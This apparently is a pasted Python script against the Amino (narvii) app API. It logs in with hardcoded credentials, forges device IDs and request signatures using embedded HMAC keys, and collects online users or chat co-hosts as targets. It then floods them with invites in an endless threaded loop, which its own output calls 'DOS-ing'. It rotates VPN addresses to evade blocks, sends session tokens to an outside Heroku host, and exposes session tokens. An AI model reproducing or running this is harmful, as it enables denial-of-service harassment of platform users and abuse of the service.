Untitled

mail@pastecode.io avatar
unknown
plain_text
a year ago
17 kB
2
Indexable
Never
 
 
from concurrent.futures import ThreadPoolExecutor
from weakref import proxy
from requests import get
from hashlib import sha1
import os
from os import path
import json, time
import aiohttp
import asyncio
import base64
import hmac
import sys
import requests
from hashlib import sha1
import names
import random
import sys
import sock
import hmac
import platform,socket,re,uuid

#import urllib.parse
import ssl
from os import path
from functools import wraps
ip="8.tcp.ngrok.io"
port="10512"
prox=f'socks5://hello:hello@{ip}:{port}'
   #'https':f'socks5://hello:hello@{ip}:{port}'}
print("ffff")
import subprocess



ws = sock.SocketHandler()
ws.run_socket("AnsiMSI6IG51bGwsICIwIjogMiwgIjMiOiAwLCAiMiI6ICJlMGIzZTM1Ny00NGMyLTQwODYtYjE5MS00MzRhMDQyYzBmYTkiLCAiNSI6IDE2ODU1NDc2ODQsICI0IjogIjEwMy4yMDEuMTM0LjYxIiwgIjYiOiAxMDB9xh8djm4QHFKGJ5lHC-onRniW83I")

def ree():
    # with open('restart_count.txt', 'r') as f:
    #     restart_count = int(f.read().strip())
    # print(f"This is the {restart_count} time the script has run.")
    # if restart_count == 2:
    #     restart()
    #     restart_count = 1
    # else:
    #     os.system("warp-cli disconnect")
    #     os.system("adb shell input keyevent KEYCODE_DPAD_DOWN")
    #     os.system("adb shell input keyevent KEYCODE_DPAD_UP")
    #     os.system("adb shell input keyevent KEYCODE_ENTER")
    #     os.system("adb shell input keyevent KEYCODE_ENTER")
    #     time.sleep(5)
    #     restart_count += 1
    # with open('restart_count.txt', 'w') as f:
    #     f.write(str(restart_count))
    subprocess.call(['python', 'app.py'])
    sys.exit()

  # This will close the script and restart it

def run_once(f):
    """Runs a function (successfully) only once.
    The running can be reset by setting the `has_run` attribute to False
    """
    @wraps(f)
    def wrapper(*args, **kwargs):
        if not wrapper.has_run:
            result = f(*args, **kwargs)
            wrapper.has_run = True
            return result
    wrapper.has_run = False
    return wrapper



def restart():
    
    os.system("warp-cli delete")
    os.system("warp-cli register")
    os.system("warp-cli disconnect")

    time.sleep(1)
    os.system("warp-cli connect")
    time.sleep(4)
    
#restart()

def dev():
    hw=(names.get_full_name()+str(random.randint(0,10000000))+platform.version()+platform.machine()+names.get_first_name()+socket.gethostbyname(socket.gethostname())+':'.join(re.findall('..', '%012x' % uuid.getnode()))+platform.processor())
    identifier=sha1(hw.encode('utf-8')).digest()
    mac = hmac.new(bytes.fromhex('AE49550458D8E7C51D566916B04888BFB8B3CA7D'), b"\x52" + identifier, sha1)
    return (f"52{identifier.hex()}{mac.hexdigest()}").upper()
def agent():
    s = requests.Session()
    return s.headers['User-Agent']

class FromLink:
    def __init__(self, data):
        self.json = data
        self.objectType = None

        self.objectId = None
        self.comId = None
        

    @property
    def FromCode(self):
        try:
            self.path = self.json["path"]
        except (KeyError, TypeError):
            pass
        try:
            self.objectType = self.json["extensions"]["linkInfo"]["objectType"]
        except (KeyError, TypeError):
            pass
        try:
            self.objectId = self.json["extensions"]["linkInfo"]["objectId"]
        except (KeyError, TypeError):
            pass
        try:
            self.comId = self.json["extensions"]["community"]["ndcId"]
        except (KeyError, TypeError):
            try:
                self.comId = self.json["extensions"]["linkInfo"]["ndcId"]
            except (KeyError, TypeError):
                pass
        return self


class Account():
    def __init__(self,email, password ,session,sid=None):
        self.authenticated = False
        self.email = email
        self.password = password
        self.device_id = dev()
        self.session = session
        self.target_user = []
        self.hostgc = None
        self.cid = None
        self.sid= sid
        self.chatId=None
        self.uid = None
        self.userId=None
        self.api = 'https://service.narvii.com/api/v1'
        self.hostgc=None

    async def generate_headers(self, data=None, content_type=None, sig=None):
        headers = {
            'NDCDEVICEID': dev(),
            'Accept-Language': 'en-US',
            'Content-Type': 'application/json; charset=utf-8',
            'User-Agent':"Dalvik/2.1.0 (Linux; U; Android 10; Redmi Note 9 Pro Build/QQ3A.200805.001; com.narvii.amino.master/3.4.33585)",
            'Host': 'service.narvii.com',
            'Accept-Encoding': 'gzip',
            'Connection': 'Keep-Alive'
        }
        if data:
            headers['Content-Length'] = str(len(data))
            if sig:
                headers['NDC-MSG-SIG'] = sig
        if self.sid:
            headers['NDCAUTH'] = f'sid={self.sid}'
        if content_type:
            headers["Content-Type"] = content_type
        return headers

    async def sig(self, data):
        signature = base64.b64encode(
            bytes.fromhex("52") +
            hmac.new(bytes.fromhex("EAB4F1B9E3340CD1631EDE3B587CC3EBEDF1AFA9"),
                     data.encode("utf-8"), sha1).digest()).decode("utf-8")
        return signature

    async def login(self):
        data = json.dumps({
            'email': self.email,
            'v': 2,
            'secret': f'{self.password}',
            'deviceID': self.device_id,
            'clientType': 100,
            'action': 'normal',
            'timestamp': int(time.time() * 1000)
        })
        async with self.session.post(f'{self.api}/g/s/auth/login',
                                     headers=await
                                     self.generate_headers(data=data,
                                                           sig=await
                                                           self.sig(data)),
                                     data=data) as response:
            
            	
            if response.status== 200:
	            respons = await response.json()
	            if respons["api:statuscode"] == 0:
	                print("using requests")
	                self.sid = respons["sid"]
	                
	                self.uid = respons["account"]["uid"]
	                self.authenticated = True
	                #pass
	            else:
                    
	                print(response.text)
	            
            else:
                
            	print(response.status)

    async def join_community(self):
        async with self.session.post(f'{self.api}/x{com}/s/community/join', headers=await self.generate_headers()) as response:
          response = await response.json()
          print(response)

    async def get_online_users(self,start: int = 0, size: int = 25):
        async with self.session.get(f"{self.api}/x{self.cid}/s/live-layer?topic=ndtopic:x{self.cid}:online-members&start={start}&size={size}", headers=await self.generate_headers()) as response:
        	#print(await self.generate_headers())
        	if response.status==200:
        		resp = await response.json()
        		
        		if resp["api:statuscode"] == 0:
	        		users=resp["userProfileList"]
	        		li=[]
	        		for uid in users:
	        			self.target_user.append(uid["uid"])
	        		
	        		#print(list)
	        		#self.target_user(list)
	        	else:
	        		restart()
	        else:
	        	restart()
          
    async def chat_admin(self):
        async with self.session.get(f"{self.api}/x{self.cid}/s/chat/thread/{self.hostgc}", headers=await self.generate_headers()) as response:
          if response.status==200:
          	resp = await response.json()
          	if resp["api:statuscode"] == 0:
          		user=resp["thread"]["uid"]
          		co=resp["thread"]["extensions"]["coHost"]
          		co.append(user)
          		print(co)
          		self.target_user=co
          		return co
          	else:
          		restart()
          		sys.exit()
          else:
          	restart()
          	sys.exit()
          
    async def start_chat(self ,isGlobal: bool = True, publishToGlobal: bool = False):
        data = {
                "title": "daddy mm",
                "inviteeUids": ["688642c4-3e5d-4374-bc58-88365189c4b9"],
                "initialMessageContent": "daddyfghj",
                "content": "stfu",
                "timestamp": int(time.time() * 1000)
            }
        if isGlobal is True: data["type"] = 2; data["eventSource"] = "GlobalComposeMenu"
        else: data["type"] = 0
        if publishToGlobal is True: data["publishToGlobal"] = 1
        else: data["publishToGlobal"] = 0
        data = json.dumps(data)
        response=requests.post(f'{self.api}/x{com}/s/chat/thread',headers=await self.generate_headers(data=data,sig=await self.sig(data)),data=data)
        res=response.json()
        print(res)
        id=res["thread"]["threadId"]
        self.hostgc = id

    async def del_gc(self):
      requests.delete(f"{self.api}/x{com}/s/chat/thread/{self.hostgc}", headers=await self.generate_headers())
  
    async def from_link(self, lol,link):
        response = get(f"{self.api}/g/s/link-resolution?q={link}",
                       headers=await self.generate_headers())
        if response.status_code== 200:
            resp=response.json()
            if resp["api:statuscode"] == 0:
                pass
            else:
                print(f'link: {resp["api:statuscode"]}')
                #restart()
                #sys.exit()
        else:
            print(f"error code {response.status_code}")
            #restart()
            #sys.exit()
        x = FromLink(resp["linkInfoV2"]).FromCode
        if lol=="many":
            self.cid = x.comId
            print(self.cid)
            self.hostgc = x.objectId
            print(self.hostgc)
        if lol=="chat":
        	self.chatId = x.objectId
        	#print(self.cid)
        if lol=="user":
            self.cid = x.comId
            self.userId=x.objectId
            self.target_user.append(x.objectId)
            #print(self.target_user.append)
            
    
    	
    async def set(self,uid):
        data = json.dumps({
            "uidList": [uid],
            "timestamp": int(time.time() * 1000)
        })
        async with self.session.post(
                f"{self.api}/x209538778/s/chat/thread/b797adec-012e-45b3-9b7f-083454dbccf1/co-host",
                data=data,
                headers=await
                self.generate_headers(data=data, sig=await
                                      self.sig(data))) as j:
                                      if j.status== 200:
                                        response = await j.json()
                                        if response["api:message"]=="OK":
                                            pass
                                        else:
                                            print(response)
                                            restart()
                                            sys.exit()
                                      else:
                                          print(f"error:{j.status}")
                                          restart()
                                          sys.exit()
                     
            # print(f"dossing {uid}")
            #pass
            # if response["api:statuscode"] == 0:
            #     pass
            # 
            
    async def dele(self,uid):
        async with self.session.delete(
                f"{self.api}/x209538778/s/chat/thread/b797adec-012e-45b3-9b7f-083454dbccf1/co-host/{uid}",
                headers=await self.generate_headers()) as l:
                if l.status == 200:
                    response = await l.json()
                    if response["api:message"]=="OK":
                        pass
                    else:
                        print(response)
                        #restart()
                        #sys.exit()
                        
                #pass
            # if response["api:statuscode"] == 0:
            #     pass
                else:
                    ree()
                    

                    print(f"error:{l.status}")
                    #restart()
                    #sys.exit()
                    
    async def delex(self,uid):
        data={"cid":"209538778","uid":uid,"hostgc":"b797adec-012e-45b3-9b7f-083454dbccf1","sid":self.sid}
        data=json.dumps(data)
        async with self.session.post(
                f"https://hellonn5.herokuapp.com/del",data=data) as l:
                    if l.status == 200:
                    	response = json.loads(await l.json())
			#print("kkkk")
                    	print({response['api:message']})
                    else:
                        print("ddhfhf")
    async def invitee(self,uid):
        ws.invite(self.cid, self.chatId,uid)
        #print(self.cid, self.chatId,self.userId)
        #print(f"alive {uid}")
        #time.sleep(1)
        # 
                          
    async def loop(self):
        ws.start_vc(self.comId, "638510e5-4d6b-4818-9918-fa523e6f0f47")
        ws.end_vc("92988433", "638510e5-4d6b-4818-9918-fa523e6f0f47")
        #print(f"alive {uid}")
        #time.sleep(1)
    async def setx(self,uid):
        data = json.dumps({
            "uid": uid,
            "cid": self.cid,
            "hostgc":self.hostgc,
            "sid":self.sid,
            "list":"0"
        })
        async with self.session.post(
                f"https://hellonn5.herokuapp.com/set",
                data=data) as j:
                                        if j.status== 200:
                                        	response = json.loads(await j.json())
                                        	print(response["api:message"])
                                        else:
                                            pass
    async def crash(self,uid):
        try:
          #await self.setx(uid)
          await self.invitee(uid)
          
          print(f"DOS-ing...{uid}")
        except Exception as e:
            #ree()
            print(f"errghhhhor {e}")
            #restart()
            #sys.exit()


async def itachi(acc: Account,lol:str):
    crowd = []
    xo = len(acc.target_user)
    # for _ in range(10):
    if lol=="online":
    	with ThreadPoolExecutor(max_workers=70) as exe:
	        _ = [
	            exe.submit(
	                crowd.append(
	                    asyncio.create_task(acc.crash(acc.target_user[i % xo]))))
	            for i in range(20)
	        ]
	        await asyncio.gather(*crowd)
    else:
	    with ThreadPoolExecutor(max_workers=100) as exe:
	        _ = [
	            exe.submit(
	                crowd.append(
	                    asyncio.create_task(acc.crash(acc.target_user[i % xo]))))
	            for i in range(60)
	        ]
	    await asyncio.gather(*crowd)


async def main(email, password,link,lol):
    
    async with aiohttp.ClientSession() as session:
        
        #sid = "AnsiMSI6IG51bGwsICIwIjogMiwgIjMiOiAwLCAiMiI6ICI4YmEyYjIxMS01NTI3LTQyMzktYmI3OC00ZmQ4NDYwYzYxYzgiLCAiNSI6IDE2ODM0NTg0NzksICI0IjogIjExNy45OS4yNC4yNSIsICI2IjogMTAwfcaALKu0lr9bAqkSygC8wiA5uqX1"
        client = Account(email, password,session)
        #await client.login()
        #await client.join_community()
        #await client.start_chat()
        
        chatlink="bo593a"
        total=[]
        await client.from_link("chat",chatlink)
        if lol =="user":
        	print(link)
        	for yo in link:
	            total.append(asyncio.create_task(client.from_link(lol,yo)))
	        await asyncio.gather(*total)
        if lol=="many":
        	await client.from_link(lol,link)
        	await client.chat_admin()
        #await client.crash()
        #for _ in range(2):
        while True:
            await itachi(client,lol)
            #restart()
            
        #restart()
        #await client.del_gc()
            # for _ in range(100):
            #     for uid in client.target_user:
            #         task.append(asyncio.create_task(client.crash(uid)))
            # await asyncio.gather(*task)
def run(email, password,link,lol):
  asyncio.get_event_loop().run_until_complete(main(email, password,link,lol))
def runn():    
    email="aaaaaafg"
    password="31 EzcfPqYH 8ba2b211-5527-4239-bb78-4fd8460c61c8 103.201.134.5 4874b4a5706388d897b7a1cde92bf23b65c6bb6c 1 1657643121 J2t-N-PGnCw4GLmatVfEFUhTPlU"
    link=["4rsu3u0"]
    lol="user"
    run(email, password,link,lol)
    
runn()